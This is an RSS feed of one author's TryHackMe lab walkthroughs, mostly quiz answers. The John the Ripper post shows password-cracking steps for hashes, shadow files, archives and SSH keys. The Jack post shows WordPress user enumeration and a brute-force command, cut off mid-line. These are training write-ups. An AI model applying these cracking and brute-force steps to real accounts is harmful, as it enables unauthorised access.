<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Shamsher khan on Medium]]></title>
        <description><![CDATA[Stories by Shamsher khan on Medium]]></description>
        <link>https://medium.com/@shamsher-khan-404?source=rss-d6b0b9f411e4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*fN2vq8IjH6zHRM5xYgqfPQ.png</url>
            <title>Stories by Shamsher khan on Medium</title>
            <link>https://medium.com/@shamsher-khan-404?source=rss-d6b0b9f411e4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 21:03:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@shamsher-khan-404/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Intro to Python TryHackme]]></title>
            <link>https://shamsher-khan-404.medium.com/intro-to-python-tryhackme-151370bf1af4?source=rss-d6b0b9f411e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/151370bf1af4</guid>
            <category><![CDATA[python-programming]]></category>
            <category><![CDATA[python-web-developer]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[python3]]></category>
            <dc:creator><![CDATA[Shamsher khan]]></dc:creator>
            <pubDate>Sat, 22 May 2021 16:33:22 GMT</pubDate>
            <atom:updated>2021-05-22T16:33:22.834Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By Shamsher khna</strong> <strong>This is a Writeup of Tryhackme room “Intro to Python”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*sBe3EvYaOIpinVHMNsVHgg.png" /></figure><h3>Task 3. Mathematical Operators</h3><p>Question 1. What is the name of &gt;</p><blockquote><strong>Answer: greater than</strong></blockquote><p>Question 2. What is the name of !=</p><blockquote><strong>Answer: not equal to</strong></blockquote><p>Question 3. 1 != 0 will this return <strong>true</strong> or <strong>false </strong>(T or F)</p><blockquote><strong>Answer: T</strong></blockquote><p>Question 4. What is the name of &lt;=</p><blockquote><strong>Answer: less than or equal to</strong></blockquote><p>Question 5. Will this sample code return <strong>truee</strong> or <strong>false</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/1*2lAyDTLYckDYTrE74dDwzg.png" /></figure><blockquote><strong>Answer: truee</strong></blockquote><h3>Task 5. Variables and Data Types</h3><p>Question 1. What data type is 13</p><blockquote><strong>Answer: integer</strong></blockquote><p>Question 2. What data type is “65”</p><blockquote><strong>Answer: string</strong></blockquote><p>Question 3. What data type is 62.193</p><blockquote><strong>Answer: float</strong></blockquote><h3>Task 12. Challenge Time!</h3><p>Question 1. Enter the decoded flag to complete the room!</p><p>The script <strong>chal.py</strong> decoded the string which is in the file <strong>encodedflag.txt</strong> to get the final flag. This one has been base64’d 5 times, based32’d 5 times and base16’d 5 times.</p><pre>import base64</pre><pre>file = open(&quot;encodedflag.txt&quot;,&quot;r&quot;)</pre><pre>flag = file.read()</pre><pre>code = &quot;&quot;</pre><pre>for i in range(0,5):<br> code = base64.b16decode(flag)<br> flag = code</pre><pre>for i in range(0,5):<br> code = base64.b32decode(flag)<br> flag = code</pre><pre>for i in range(0,5):<br> code = base64.b64decode(code)<br> flag = code</pre><pre>print(flag)<br>file.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*77ELgkQylT7uyI2l2BTS3A.png" /></figure><p>Please Follow on <a href="https://www.linkedin.com/in/shamsher-khan-651a35162/">LinkedIn</a> <a href="https://twitter.com/shamsherkhannn">Twitter</a></p><p>Written by <a href="https://tryhackme.com/p/Shamsher">Shamsher khan</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*AXsAydquB-spT5Z44h0TEQ.png" /><figcaption><a href="https://tryhackme.com/p/Shamsher">https://tryhackme.com/p/Shamsher</a></figcaption></figure><p>For more walkthroughs stay tuned…<br>Before you go…</p><p>Visit my other walkthrough’s:-</p><p>and thank you for taking the time to read my walkthrough. <br>If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share<br> it to help others with similar interests! + Feedback is always welcome!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=151370bf1af4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Intro to ISAC TryHackme]]></title>
            <link>https://shamsher-khan-404.medium.com/intro-to-isac-tryhackme-7d9fc9f6e50a?source=rss-d6b0b9f411e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/7d9fc9f6e50a</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[isac]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Shamsher khan]]></dc:creator>
            <pubDate>Sat, 22 May 2021 16:33:06 GMT</pubDate>
            <atom:updated>2021-05-22T16:33:06.242Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By Shamsher khna</strong> <strong>This is a Writeup of Tryhackme room “Intro to ISAC”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*mmcR8vhXTi1zCUxTBM-ZHQ.png" /></figure><h3>Introduction:-</h3><p>Threat Intelligence, also known as TI and Cyber Threat Intelligence also known as, CTI, is used to provide information about the threat landscape specifically adversaries and their TTPs. Typically CTI revolves around APT groups and/or other threats, these can be well-known groups or up and coming new threats.</p><p>Data must be analyzed to be considered threat intelligence. Once analyzed and actionable, then it becomes threat intelligence. The data needs context around to become intel.</p><p>CTI is a precautionary measure that companies use or contribute to so that other corporations do not get hit with the same attacks. Of course, adversaries change their TTPs all the time so the TI landscape is constantly changing.</p><h3>What are ISACs</h3><p>According to the National Council of ISACs, “Information Sharing and Analysis Centers (ISACs) are member-driven organizations, delivering all-hazards threat and mitigation information to asset owners and operators”. ISACs can be community-centered or vendor-specific. ISACs include CTI from threat actors as well as mitigation information in the form of IOCs, YARA rules, etc. ISACs maintain situational awareness by sharing and collaborating to maintain CTI, through a <a href="https://www.nationalisacs.org/">National Council of ISACs</a>.</p><p>Below is a list of ISACs that can help a blue team we will only be showcasing a few in this room.</p><ul><li><a href="https://us-cert.cisa.gov/"><strong>US-CERT</strong></a></li><li><a href="https://otx.alienvault.com/"><strong>AlienVault OTX</strong></a></li><li><a href="https://threatconnect.com/"><strong>ThreatConnect</strong></a></li><li><a href="https://www.misp-project.org/"><strong>MISP</strong></a></li></ul><p>This room will specifically focus on AlienVault OTX and ThreatConnect; however, there are many more ISACs that can be used to gather threat intelligence. I encourage you to go out and research others on your own to get a good feeling for what you like and what various ISACs can offer.</p><h3>Scenario 1</h3><p>Your incident response team has quarantined a suspicious bin file. The team thinks it is a ransomware variation. Investigate and create indicators for the file.</p><p>You can find the shellcode <em>C:\Users\Jon\Documents\Scenarios\Scenario 1</em></p><h3>Scenario 2</h3><p>You have been assigned to analyze this week’s quarantined files. The file is thought to be an unknown trojan or a new strain of the emotet malware. Investigate and create indicators for the file.</p><p>You can find the shellcode <em>C:\Users\Jon\Documents\Scenarios\Scenario 2</em></p><p>username:<strong>jon</strong> , password: <strong>alqfna22</strong></p><pre>xfreerdp /u:&quot;jon&quot; /p:alqfna22 /v:10.10.26.213</pre><p>Run this command in your Terminal to start RDP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UpdSM5rJz5-TYP0DOIQPjA.png" /><figcaption><a href="https://tryhackme.com/">https://tryhackme.com</a></figcaption></figure><p>Question 1. What is the name of the file from Scenario 1?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*zgf5iZNrd6v7nxvTBzXrMQ.png" /></figure><blockquote>Answer: <strong>29D6161522C7F7F21B35401907C702BDDB05ED47.bin</strong></blockquote><p>Question 2. What is the size of the file from Scenario 1 in bytes?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/1*rDMmMrdjYRYdPpdUbuTdyg.png" /></figure><blockquote>Answer: <strong>96,535</strong></blockquote><p>Question 3. What is the size on disk of the file from Scenario 1 in bytes?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/1*X0cG6tFkG3XrdDnkMpViFQ.png" /></figure><blockquote>Answer: <strong>98,304</strong></blockquote><p>Question 4. What is the MD5 hash of the file from Scenario 1?</p><p>Open WinMD5 tool and select Scenario 1 file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*PXHU2tY2Ole0wtqpFS3Rhw.png" /></figure><blockquote>Answer: <strong>8b***************************6a</strong></blockquote><p>Question 5. What is the name of the file from Scenario 2?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*ot2aAeTd6Ib2eZ9SrVJEyA.png" /></figure><blockquote>Answer: <strong>cryptowall.bin</strong></blockquote><p>Question 6. What is the size of the file from Scenario 2 in bytes?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*p10Uq87I1x9sJYyNP39V3g.png" /></figure><blockquote>Answer: <strong>246,272</strong></blockquote><p>Question 7. What is the size on disk of the file from Scenario 2 in bytes?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*cCP6YnZqrZvDzw9GnW70wg.png" /></figure><blockquote>Answer: <strong>249,856</strong></blockquote><p>Question 8. What is the MD5 hash of the file from Scenario 2?</p><p>Now again click on WinMD5 tool and select cryptowall.bin file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*yKyQZbs8-rCWZzlasCrzXw.png" /></figure><blockquote>Answer: <strong>47****************************c7</strong></blockquote><p>Follow on <a href="https://www.linkedin.com/in/shamsher-khan-651a35162/">LinkedIn</a> <a href="https://www.instagram.com/shamsher_khan_007/">Instagram</a> <a href="https://twitter.com/shamsherkhannn">Twitter</a></p><p>Written by <a href="https://tryhackme.com/p/Shamsher">Shamsher khan</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*AXsAydquB-spT5Z44h0TEQ.png" /></figure><p>For more walkthroughs stay tuned…<br>Before you go…</p><p>Visit my other walkthrough’s:-</p><p>and thank you for taking the time to read my walkthrough. <br>If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share<br> it to help others with similar interests! + Feedback is always welcome!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7d9fc9f6e50a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[John The Ripper TryHackme Writeup]]></title>
            <link>https://shamsher-khan-404.medium.com/john-the-ripper-tryhackme-writeup-df934dec3a97?source=rss-d6b0b9f411e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/df934dec3a97</guid>
            <category><![CDATA[password-security]]></category>
            <category><![CDATA[cracking]]></category>
            <category><![CDATA[john-the-ripper]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Shamsher khan]]></dc:creator>
            <pubDate>Fri, 21 May 2021 10:27:32 GMT</pubDate>
            <atom:updated>2021-05-21T10:27:32.357Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By Shamsher khna This is a writeup of the TryHackMe room “John The Ripper” from the creator </strong><a href="https://tryhackme.com/p/PoloMints"><strong>PoloMints</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*h6fzw4TFsRYGBk7q5Vcvpw.png" /><figcaption><a href="https://tryhackme.com/room/johntheripper0">https://tryhackme.com/room/johntheripper0</a></figcaption></figure><h3>Task 2: Setting up John the Ripper</h3><p>Question: What is the most popular extended version of John the Ripper?</p><blockquote><strong><em>Answer</em></strong><em>: </em>Jumbo John</blockquote><h3>Task 3: Wordlists</h3><p>Question: What website was the rockyou.txt wordlist created from a breach on?</p><blockquote><strong>Answer: </strong>rockyou.com</blockquote><h3>Task 4: Cracking Basic Hashes</h3><p>Tool we use <a href="https://gitlab.com/kalilinux/packages/hash-identifier/-/tree/kali/master">hash-identifier</a>. This tool is already install in kali linux</p><pre>python3 hash-identifier.py</pre><p>for the Practical we need to download “firsttaskhashes.zip”</p><p>So Here we unzip the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*sXHqqxPFj3K4Y5Jsjd6yKA.png" /></figure><p><strong>Question:</strong> What type of hash is hash1.txt?</p><p>copy hash from hash1.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*vMP4uuRhB_YGXorPMQAXXg.png" /></figure><p>Use <a href="https://gitlab.com/kalilinux/packages/hash-identifier/-/tree/kali/master">Hash-identifier</a> tool to analyze hash format</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*VPPU-MEtDCOOdZTMbF4HpQ.png" /></figure><p>Hash identifier show us it is possible <strong>MD5 </strong>hash format</p><p><strong>Answer: MD5</strong></p><p>Question 2: What is the cracked value of hash1.txt?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*dmdFALo7WJKF6yLcgQspiQ.png" /></figure><blockquote><strong>Answer: biscuit</strong></blockquote><p>Question 3: What type of hash is hash2.txt?</p><p>Repeat the process for hash2.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*TAymK837C74cjz7QEoJd1w.png" /></figure><p>Possible hash found SHA-1 or SHA1</p><blockquote><strong>Answer: SHA1</strong></blockquote><p>Question: What is the cracked value of hash2.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*tQRoK7UwqSmxEtJPXl3sFg.png" /></figure><blockquote><strong>Answer</strong>: <strong>kangeroo</strong></blockquote><p>Question: What type of hash is hash3.txt?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*dmg7Jc5kNzcRtQgGEEF7pw.png" /></figure><p>Possible Hash found SHA-256 or SHA256 or Haval256.</p><blockquote><strong>Answer: SHA256</strong></blockquote><p>Question: What is the cracked value of hash3.txt?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*VhofXNnsdYN2yhJk21BAxg.png" /></figure><blockquote><strong>Answer: microphone</strong></blockquote><p>Question: What type of hash is hash4.txt?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c1TJOL2qCMPxoetKzd1-lA.png" /></figure><p>Possible Hash found SHA-512 or SHA512 or <strong>Whirlpool</strong></p><blockquote><strong>Answer: Whirlpool</strong></blockquote><p>Question: What is the cracked value of hash4.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*tj7PpvTl2jdV-6oCfL1QXA.png" /></figure><blockquote><strong>Answer: colossal</strong></blockquote><h3>Task 5: Cracking Windows Authentication Hashes</h3><p>This section is about cracking Windows hashes and <strong>NTHash / NTLM</strong></p><p>Question: What do we need to set the “format” flag to, in order to crack this?’</p><blockquote><strong>Answer: NT</strong></blockquote><p>Question: What is the cracked value of this password?</p><p>Download the file from the section and here we use <strong>format=nt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*xABXGsG342KJGRZf43LEZQ.png" /></figure><blockquote><strong>Answer: mushroom</strong></blockquote><h3>Task 6: Cracking /etc/shadow Hashes</h3><p>This section is about cracking /etc/shadow or Linux user password hashes</p><p>Question: What is the root password?</p><p>We Use format=sha512crypt Because sha512crypt hash started from $6$</p><p>We can check by using “hashcat — help”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*oyobbwjnvgZkSzL0OsVTxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*iKAjrLU4AnkemT21G_6wDg.png" /></figure><blockquote><strong>Answer: 1234</strong></blockquote><h3>Task 7: Single Crack Mode</h3><p>So In this mode we don’t need a wordlist , but need to put the flag “- -single”, “ — format</p><p>Question: What is Joker’s password?</p><p>Download the file from this section and find hash format</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*pO44ncqT-kz-ZKEA34HlsQ.png" /></figure><p>Possible hash found MD5, now add the jocker word before the hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*R2CdchndCrOWubx43FYaFg.png" /></figure><blockquote><strong>Answer: Jok3r</strong></blockquote><h3>Task 8: Custom Rules</h3><p>In this section we learn about custom rules for John.Jumbo John already comes with a large list of custom rules, which contain modifiers for use almost all cases. If you get stuck, try looking at those rules [around line 678] if your syntax isn’t working properly.</p><p>The way we use custom rules in john are like this:</p><p>john — wordlist=[path to wordlist] — rule=PoloPassword [path to file]</p><p>Question 1 : What do custom rules allow us to exploit?</p><blockquote><strong>Answer: Password complexity predictability</strong></blockquote><p>Question 2: What rule would we use to add all capital letters to the end of the word?</p><p><strong>Hint: </strong><a href="https://www.openwall.com/john/doc/RULES.shtml">https://www.openwall.com/john/doc/RULES.shtml</a></p><p><strong>Note: </strong>Do note copy paste this answer write yourself</p><blockquote><strong><em>Answer:</em> </strong>Az”[A-Z]”</blockquote><p>Question3: What flag would we use to call a custom rule called “THMRules”</p><blockquote><strong>Answer: — -rule=THMRules</strong></blockquote><h3>Task 9: Cracking Password Protected Zip File</h3><p>In this section we learn about how to crack password protected Zip file.</p><p>For this task we use zip2john tool if you have already install john. Or you can locate where it is located and copy zip2john to your folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*HNFHwzNA2FnNWfJwICDlCA.png" /></figure><p>Question: What is the password for the secure.zip file?</p><p>First we need to Extract the hash from the file secure.zip to a secure.txt file. So we need to run zip2john. Now the hash is in secure.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*vYfSfvjfEDBZ8JoegcK2dw.png" /></figure><p>To crack the hash we use wordlists rockyou.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*B4cnnriMEt4qT-yZ2ZFZgw.png" /></figure><p>So this is the password for secure.zip</p><blockquote><strong>Answer: pass123</strong></blockquote><p>Question 2: What is the contents of the flag inside the zip file?</p><p>Now unzip the file secure.zip it ask for password. Then Use pass123</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*OmiPh-LA_31w02FD76RqoQ.png" /></figure><h3>Task 10: Cracking Password Protected RAR File</h3><p>In this section we learn about how to crack password protected RARfile.</p><p>For this task we use rar2john tool if you have already install john. Or you can locate where it is located and copy rar2john to your folder.</p><p>Question 1: What is the password for the secure.rar file?</p><p>First we need to Extract the hash from the file secure.rar to a secure.txt file. So we need to run rar2john. Now the hash is in secure.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*aSi1Fj_gl2AfTWOoteddBw.png" /></figure><p>This is the password for secure.rar. Now Extract the file from secure.rar .For this use unrar e secure.rar.If it is ask for password use “password”</p><blockquote><strong>Answer: password</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*kStZ42qu_1TP21YW7rEUew.png" /></figure><h3>Task 10: Cracking SSH Keys with John</h3><p>This section is about cracking SSH keys with John. For this first we use ssh2john to extract hash from id_rsa file.</p><pre>locate ssh2john</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*FwZY_UaJX_Kr3Iw06uYchA.png" /></figure><p>Question 1: What is the SSH private key password?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*ES9BNLqfTXyfyxT_zDcRCA.png" /></figure><blockquote><strong>Answer: mango</strong></blockquote><p>Please follow me .This room is for beginner who don’t know how to crack hash</p><p>follow on <a href="https://www.linkedin.com/in/shamsher-khan-651a35162/"><strong>LinkedIn</strong></a><strong> </strong><a href="https://www.instagram.com/shamsher_khan_007/"><strong>Instagram</strong></a><strong> </strong><a href="https://twitter.com/shamsherkhannn"><strong>Twitter</strong></a></p><p>Written by <a href="https://tryhackme.com/p/Shamsher">Shamsher khan</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*AXsAydquB-spT5Z44h0TEQ.png" /><figcaption><a href="https://tryhackme.com/p/Shamsher">https://tryhackme.com/p/Shamsher</a></figcaption></figure><p>For more walkthroughs stay tuned…</p><h3>Before you go…</h3><p>Visit my other walkthrough’s:-</p><p>and thank you for taking the time to read my walkthrough. If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share it to help others with similar interests! + Feedback is always welcome!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df934dec3a97" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MITRE TryHackme Write-Up]]></title>
            <link>https://shamsher-khan-404.medium.com/mitre-tryhackme-write-up-d12f1b3e7676?source=rss-d6b0b9f411e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/d12f1b3e7676</guid>
            <category><![CDATA[mitre]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[mitre-attack]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Shamsher khan]]></dc:creator>
            <pubDate>Fri, 21 May 2021 10:26:24 GMT</pubDate>
            <atom:updated>2021-05-21T10:26:24.482Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By Shamsher khna</strong> <strong>This is a Writeup of Tryhackme room “MITRE”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qvCfJdhTzRZ1YLpyiaQ-Kg.png" /></figure><p><strong>TASK 1 &amp; 2</strong> are simple click and complete tasks</p><p><strong>TASK 3</strong></p><p><strong>Question 1:</strong> Only blue teamers will use the ATT&amp;CK Matrix? (Yay/Nay)</p><pre>Nay</pre><p><strong>Question 2: </strong>What is the ID for this technique?</p><pre>T1566</pre><p><strong>Question 3: </strong>Based on this technique, what mitigation covers identifying social engineering techniques?</p><pre>User Training</pre><p><strong>Question 4: </strong>There are other possible areas for detection for this technique, which occurs after what other technique?</p><pre>User Execution</pre><p><strong>Question 5: </strong>What group has used spear phishing in their campaigns?</p><pre>Dragonfly</pre><p><strong>Question 6: </strong>Based on the information for this group, what are their associated groups?</p><pre>TG-4192, Crouching Yeti, IRON LIBERTY, Energetic Bear</pre><p><strong>Question 7: </strong>What tool is attributed to this group to transfer tools or files from one host to another within a compromised environment?</p><pre>PsExec</pre><p><strong>Question 8: </strong>Based on the information about this tool, what group used a customized version of it?</p><pre>FIN5</pre><p><strong>Question 9: </strong>This group has been active since what year?</p><pre>2008</pre><p><strong>Question 10:</strong>Instead of Mimikatz, what OS Credential Dumping tool is does this group use?</p><pre>Windows Credential Editor</pre><h3>Task 4</h3><p><strong>Question 1: </strong>For the above analytic, what is the pseudocode a representation of?</p><pre>Splunk search</pre><p><strong>Question 2: </strong>What tactic has an ID of TA0003?</p><pre>Persistence</pre><p><strong>Question 3: </strong>What is the name of the library that is a collection of Zeek (BRO) scripts?</p><pre>BZAR</pre><p><strong>Question 4: </strong>What is the name of the technique for running executables with the same hash and different names?</p><pre>Masquerading</pre><p><strong>Question 5: </strong>Examine CAR-2013–05–004, what additional information is provided to analysts to ensure coverage for this technique?</p><pre>Unit Tests</pre><h3>Task 5</h3><p><strong>Question 1:</strong>Which Shield tactic has the most techniques?</p><pre>Detect</pre><p><strong>Question 2: </strong>Is the technique ‘Decoy Credentials’ listed under the tactic from question #1? (Yay/Nay)</p><pre>Yay</pre><p><strong>Question 3: </strong>Explore DTE0011, what is the ID for the use case where a defender can plant artifacts on a system to make it look like a virtual machine to the adversary?</p><pre>DUC0234</pre><p><strong>Question 4: </strong>Based on the above use case, what is its ATT&amp;CK® Technique mapping?</p><pre>T1497</pre><p><strong>Question 5:</strong>Continuing from the previous question, look at the information for this ATT&amp;CK® Technique, what 2 programs are listed that adversary’s will check for?</p><pre>Sysinternals and Wireshark</pre><h3>Task 6</h3><p><strong>Question 1: </strong>How many phases does APT3 Emulation Plan consists of?</p><pre>3</pre><p><strong>Question 2: </strong>Under Persistence, what binary was replaced with cmd.exe?</p><pre>sethc.exe</pre><p><strong>Question 3: </strong>Examining APT29, what 2 tools were used to execute the first scenario?</p><pre>Pupy and Meterpreter</pre><p><strong>Question 4: </strong>What tool was used to execute the second scenario?</p><pre>PoshC2</pre><p><strong>Question 5: </strong>Where can you find step-by-step instructions to execute both scenarios?</p><pre>ATT&amp;CK Arsenal</pre><h3>Task 7</h3><p><strong>Question 1: </strong>What is a group that targets your sector who has been in operation since at least 2013?</p><pre>APT33</pre><p><strong>Question 2: </strong>Does this group use Stuxnet? (Yay/Nay)</p><pre>Nay</pre><p><strong>Question 3: </strong>As your organization is migrating to the cloud, is there anything attributed to this APT group that you should focus on? If so, what is it?</p><pre>Cloud Accounts</pre><p><strong>Question 4: </strong>What tool is associated with this technique?</p><pre>Ruler</pre><p><strong>Question 5: </strong>Per the detection tip, what should you be detecting?</p><pre>Abnormal or malicious behavior</pre><p><strong>Question 6: </strong>What platforms does this affect?</p><pre>AWS, Azure, Azure AD, GCP, Office 365, SaaS</pre><p>follow on <a href="https://www.linkedin.com/in/shamsher-khan-651a35162/">LinkedIn</a> <a href="https://www.instagram.com/shamsher_khan_007/">Instagram</a> <a href="https://twitter.com/shamsherkhannn">Twitter</a></p><p>Written by <a href="https://tryhackme.com/p/Shamsher">Shamsher khan</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*AXsAydquB-spT5Z44h0TEQ.png" /><figcaption><a href="https://tryhackme.com/p/Shamsher">https://tryhackme.com/p/Shamsher</a></figcaption></figure><p>For more walkthroughs stay tuned…<br>Before you go…</p><p>Visit my other walkthrough’s:-</p><p>and thank you for taking the time to read my walkthrough. <br>If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share<br> it to help others with similar interests! + Feedback is always welcome!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d12f1b3e7676" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackme — Jack Write up]]></title>
            <link>https://shamsher-khan-404.medium.com/tryhackme-jack-write-up-1b1530b54f1e?source=rss-d6b0b9f411e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b1530b54f1e</guid>
            <category><![CDATA[jack]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Shamsher khan]]></dc:creator>
            <pubDate>Fri, 21 May 2021 10:25:14 GMT</pubDate>
            <atom:updated>2021-05-21T10:25:14.619Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackme — Jack Write up</h3><p><strong>By Shamsher khna</strong> <strong>This is a Writeup of Tryhackme room “Jack”</strong></p><figure><img alt="https://tryhackme.com/room/jack" src="https://cdn-images-1.medium.com/max/1024/1*0U4tdzrByw1aY0wzTBOpYQ.png" /><figcaption><a href="https://tryhackme.com/room/jack">https://tryhackme.com/room/jack</a></figcaption></figure><h3>Setup</h3><p>First, we will connect to the VPN. If you are not familiar with the process go through this <a href="https://tryhackme.com/room/openvpn">room</a></p><p>Once we are connected we will deploy the machine <strong><em>(note that in the room description there is a request for you to add jack.thm to /etc/hosts):</em></strong></p><p>Let’s add <strong>jack.thm</strong> to the <strong>/etc/hosts</strong> file you can use leafpad or vim for edit this file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*dDgSvQ_ObKqG1eT8VTJBjA.png" /></figure><h3>Enumeration</h3><pre>nmap -T4 -sS -sC -sV jack.thm</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*nxa5ReDIIvQk6xBiMgRmBw.png" /></figure><p>We have Two Ports SSH =21 and HTTP=80 without username and password we can’t login through SSH. So Enumerate Port 80 Open Browser and search</p><pre><a href="http://jack.thm/">http://jack.thm</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u0ib1w8jvi634bCd87dDQA.png" /></figure><p>From the <strong>nmap </strong>results, we can see the <strong>/wp-admin</strong> in the results which takes us to the WordPress login form, but we don’t have any credentials yet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*1BOHhqUq0gWofgx1Kf_ihw.png" /></figure><h3>Using WPScan</h3><pre>wpscan - url jack.thm -e u</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*I6fNRGkC9MFqMK_j5VThTg.png" /></figure><p>We can see XML-RPS is enabled which gives us few vulnerabilities A blog post <a href="https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32"><strong>here</strong></a> by <a href="https://medium.com/u/e44ee7c04069">+Bilal Rizwan</a></p><p><strong>Users Found</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*Oasubv5O7pOC4beQNnmHGg.png" /></figure><p>With WPScan we know that the server is running <strong>WordPress 5.3.2</strong> with <strong>XML-RPC enabled</strong> and has three users. With this information we will move on to exploiting WordPress.</p><h3>Brute Force WordPress Login</h3><p>We paste all three users in text file</p><pre>echo user1 &gt; users.txt;echo user2 &gt;&gt; users.txt;echo user3 &gt;&gt; users.txt</pre><pre>#wpscan -U users.txt -P rockyou.txt - url <a 